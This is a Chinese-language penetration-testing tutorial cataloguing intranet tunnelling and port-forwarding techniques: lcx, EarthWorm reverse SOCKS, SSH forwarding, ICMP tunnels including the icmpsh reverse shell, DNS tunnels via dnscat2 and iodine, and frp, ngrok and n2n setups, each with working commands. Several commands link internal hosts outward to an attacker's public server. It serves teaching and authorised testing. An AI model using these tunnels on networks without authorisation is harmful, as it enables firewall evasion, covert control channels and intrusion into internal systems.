内网穿透及端口转发大合集
字数 1457 2025-08-25 22:58:20
内网穿透及端口转发技术详解
0x00 前言
内网穿透及端口转发是网络安全渗透测试中的重要技术,主要用于突破网络边界限制,实现内网访问和控制。本文全面总结了多种内网穿透和端口转发工具及技术。
0x01 代理基础
正向代理
正向代理是客户端代理,代理客户端,服务端不知道实际发起请求的客户端。
特点:
- 代理客户端请求
- 服务端无法识别真实客户端
- 典型应用:VPN、科学上网
数据流向:
Client --> Proxy <--> Server
反向代理
反向代理是服务器端代理,代理服务器,客户端不知道实际提供服务的服务器。
特点:
- 代理服务器响应
- 客户端无法识别真实服务器
- 典型应用:Nginx、负载均衡
数据流向:
Client <--> Proxy <-- Server
0x02 Lcx工具
Lcx是一款经典的端口转发工具,常用于内网穿透。
端口转发
内网机器执行:
lcx.exe -slave 公网IP 端口 内网IP 端口
示例:
lcx.exe -slave 192.168.183.181 6666 192.168.183.168 3389
lcx.exe -slave 192.168.183.181 6666 127.0.0.1 3389
公网机器执行:
lcx.exe -listen 监听端口 连接端口
示例:
lcx.exe -listen 6666 2222
连接方式:
mstsc /v:127.0.0.1:2222
端口映射
当内网机器防火墙禁止3389出站时使用:
lcx.exe -tran 映射端口 连接IP 连接端口
示例:
lcx.exe -tran 66 192.168.183.168 3389
0x03 EarthWorm工具
EarthWorm(EW)是一套便携式网络穿透工具,支持SOCKS v5服务和端口转发。
命令格式
ssocksd- 开启Socks5代理服务rcsocks- 接收反弹过来的Socks5服务rssocks- 本地启用Socks5服务并反弹lcx_slave- 端口转发lcx_listen- 端口转发lcx_tran- 端口映射
普通网络环境
正向socks5
目标网络存在公网IP且可任意开监听端口时:
ew_for_Win.exe -s ssocksd -l 1080
反向socks5
目标网络边界不存在公网IP时:
公网主机:
ew_for_Win.exe -s rcsocks -l 1080 -e 8888
内网主机:
ew_for_Win.exe -s rssocks -d 10.19.11.138 -e 8888
二级网络环境
环境一
A主机:
ew_for_Win.exe -s ssocksd -l 8888
B主机:
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.44.128 -g 8888
环境二
VPS:
ew_for_Win.exe -s lcx_listen -l 1080 -e 8888
A主机:
ew_for_Win.exe -s ssocksd -l 9999
B主机:
ew_for_Win.exe -s lcx_slave -d 10.19.11.138 -e 8888 -f 192.168.44.128 -g 9999
0x04 SSH隧道
SSH参数详解
-C- 压缩数据传输-q- 安静模式-T- 不占用shell-f- 后台运行-N- 不执行远程命令-L- 本地端口转发-R- 远程端口转发-D- 动态端口转发-g- 允许远程主机连接
SSH本地转发
语法:
ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host
示例:
ssh -CfNg -L 2222:127.0.0.1:3306 root@139.196.xx.xx
SSH远程转发
语法:
ssh -R [bind_addr:]remote1_port:host:port remote1
示例:
ssh -CfNg -R 4444:127.0.0.1:80 root@192.168.183.195
注意:需在sshd配置中启用GatewayPorts yes
SSH动态转发
语法:
ssh -D [bind_addr:]port remote
示例:
ssh -Nfg -D 3333 root@45.77.xx.xx
0x05 ICMP隧道
ptunnel
关闭ICMP响应:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
跳板机(B):
ptunnel
客户端(C):
ptunnel -p 192.168.137.128 -lp 8888 -da 192.168.44.130 -dp 3389
连接:
mstsc /v:192.168.137.129:8888
icmpsh
服务端(kali):
./icmpsh-m.py <source IP> <destination IP>
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 192.168.137.129 192.168.137.132
客户端:
icmpsh.exe -t 192.168.137.129
0x06 DNS隧道
dnscat2
服务端部署:
git clone https://github.com/iagox86/dnscat2.git
apt-get install ruby-dev
cd dnscat2/server/
gem install bundler
bundle install
ruby ./dnscat2.rb
客户端部署:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
./dnscat --dns server=192.168.137.129,port=53 --secret=ca7670fc9b8f016b3ccb5749d11eed62
Iodine
DNS服务器配置:
yum install bind*
vim /etc/named.conf
vim /etc/named.rfc1912.zones
cp /var/named/named.localhost /var/named/named.dns.com
vim /var/named/named.dns.com
systemctl restart named.service
服务端:
iodined -f -P 123456 10.1.1.1 www.dns.com
客户端:
iodine -f -P 123456 192.168.137.150 www.dns.com
0x07 Frp
服务端配置
frps.ini:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
dashboard_addr = 0.0.0.0
dashboard_port = 7500
token = 12345678
dashboard_user = admin
dashboard_pwd = admin
vhost_http_port = 10080
vhost_https_port = 10443
启动:
./frps -c frps.ini
nohup ./frps -c frps.ini &
客户端配置
frpc.ini:
[common]
server_addr = x.x.x.x
server_port = 7000
token = 12345678
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 7001
启动:
./frpc -c frpc.ini
0x08 Ngrok
- 官网注册获取token:https://dashboard.ngrok.com
- 生成配置文件
ngrok.yml - 执行穿透命令:
ngrok.exe tcp 22 ngrok.exe http 80 ngrok.exe tcp 3389
0x09 N2n
编译安装
git clone https://github.com/meyerd/n2n
apt install subversion build-essential libssl-dev net-tools
cd n2n/n2n_v2/
mkdir build
cd build
cmake ..
make && make install
服务端
supernode -l 7654
nohup supernode -l 7654 -v &
客户端
edge -a 10.2.2.2 -c group -k 123456 -l 45.77.xx.xx:7654
0x0A 参考
- https://www.cnblogs.com/f-ck-need-u/p/10482832.html
- https://cloud.tencent.com/developer/article/1120865
- https://www.anquanke.com/post/id/163240
- https://zerokeeper.com/experience/network-port-forwarding-and-penetration.html